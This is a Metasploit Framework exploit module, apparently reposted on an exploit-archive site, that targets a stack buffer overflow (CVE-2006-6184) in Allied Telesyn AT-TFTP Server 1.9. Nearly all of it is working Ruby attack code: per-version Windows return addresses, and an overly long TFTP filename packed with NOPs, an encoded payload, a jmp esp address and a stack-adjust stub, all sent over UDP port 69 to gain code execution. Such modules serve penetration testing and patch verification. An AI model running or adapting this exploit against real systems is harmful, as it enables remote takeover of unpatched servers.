ExploitFixes
Allied Telesyn TFTP Server 1.9 Long Filename Overflow - [CVE: 2006-6184] 2011-03-05 09:15:45

##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
request (get/write) for an overly long file name.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Version' => '$Revision: 11882 $',
'References' =>
[
['CVE', '2006-6184'],
['OSVDB', '11350'],
['BID', '21320'],
['URL','http://milw0rm.com/exploits/2887'],
['URL', 'ftp://guest:[email protected]/pub/utilities/at-tftpd.exe'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 210,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
[ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
],
'Privileged' => false,
'DisclosureDate' => 'Nov 27 2006'))

register_options(
[
Opt::RPORT(69),
Opt::LHOST() # Required for stack offset
], self.class)
end

def exploit
connect_udp

sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
sploit << payload.encoded
sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.
sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn
sploit << "\x00" + "netascii" + "\x00"

udp_sock.put(sploit)

disconnect_udp
end

end